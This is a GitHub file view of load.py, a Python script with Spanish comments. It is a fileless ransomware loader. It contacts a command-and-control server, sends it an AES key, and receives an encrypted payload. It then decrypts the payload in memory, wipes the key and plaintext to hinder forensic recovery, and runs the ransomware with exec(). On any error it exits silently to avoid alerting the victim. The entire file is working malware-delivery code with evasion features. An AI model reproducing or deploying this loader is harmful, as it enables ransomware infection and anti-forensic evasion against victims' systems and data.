-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathload.py
More file actions
73 lines (58 loc) · 2.37 KB
/
load.py
File metadata and controls
73 lines (58 loc) · 2.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import socket
import sys
import secrets
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# Configuración de conexión al C2
C2_HOST = '127.0.0.1'
C2_PORT = 5001
def secure_wipe(data):
"""Sobrescribe memoria para evitar recuperación forense"""
if isinstance(data, bytearray):
for i in range(len(data)):
data[i] = 0
elif isinstance(data, bytes):
# Los bytes son inmutables en Python, se manejan vía recolección de basura
pass
def execute_in_memory():
try:
# 1. Generar clave efímera de 32 bytes (AES-256)
# Usamos bytearray para permitir el borrado manual posterior
raw_key = secrets.token_bytes(32)
ephemeral_key = bytearray(raw_key)
# 2. Conexión al servidor C2
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((C2_HOST, C2_PORT))
# 3. Enviar la clave al C2 con el prefijo 'KEY:'
# El servidor usará esta clave para cifrar el payload antes de enviarlo
sock.send(b"KEY:" + ephemeral_key)
# 4. Recibir el payload cifrado (Nonce 12 bytes + Ciphertext)
encrypted_data = sock.recv(2048 * 1024)
sock.close()
if len(encrypted_data) < 12:
sys.exit(0)
nonce = encrypted_data[:12]
ciphertext = encrypted_data[12:]
# 5. Descifrar el payload en memoria
aesgcm = AESGCM(bytes(ephemeral_key))
plaintext_payload = aesgcm.decrypt(nonce, ciphertext, None)
# --- INICIO DE DESTRUCCIÓN DE RASTROS EN MEMORIA ---
secure_wipe(ephemeral_key)
del ephemeral_key
del aesgcm
# 6. Compilar a Bytecode inmediatamente
# El bytecode en RAM es más difícil de analizar que el texto plano
compiled_code = compile(plaintext_payload.decode('utf-8'), '<string>', 'exec')
# Borrado del texto plano de la memoria
payload_mut = bytearray(plaintext_payload)
secure_wipe(payload_mut)
del plaintext_payload
del payload_mut
# --- FIN DE DESTRUCCIÓN DE RASTROS ---
# 7. Ejecución del Ransomware directamente en la RAM
# Se ejecuta en el contexto global del proceso actual
exec(compiled_code, globals())
except Exception as e:
# En caso de error, salir silenciosamente para no alertar
sys.exit(0)
if __name__ == "__main__":
execute_in_memory()